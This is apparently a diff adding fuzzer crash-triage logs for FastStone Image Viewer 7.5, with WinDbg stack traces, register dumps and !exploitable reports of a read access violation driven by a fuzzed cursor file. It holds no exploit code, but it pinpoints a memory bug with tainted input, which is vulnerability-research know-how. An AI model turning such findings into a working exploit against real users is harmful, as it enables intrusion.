image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002c7000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002c7000 1d6dbdc5 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a7 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002c7000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/7774/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/7774/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..2abfa28 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/7774/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/8354/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/8354/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/8354/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/8354/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/8354/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..bacdf1d Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/8354/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/8354/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/8354/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..6b281c0 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/8354/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1524: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1524: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74ba0000 00000000`74bc2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1524.11a0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00000d2d ecx=07ef7b10 edx=00003879 esi=12768f40 edi=07cfafd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.746676551307510880000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 5.561562000000000000000e+0006 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=16227.8 -2.75991e-034 -1.02865e+022 4.62194e-036 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fd8130 07f55930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003b1000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003b1000 3fb4e657 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ac 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003b1000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/8354/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/8354/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..6b281c0 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/8354/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1524: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1524: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74ba0000 00000000`74bc2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1524.11a0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00000d2d ecx=07ef7b10 edx=00003879 esi=12768f40 edi=07cfafd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.746676551307510880000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 5.561562000000000000000e+0006 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 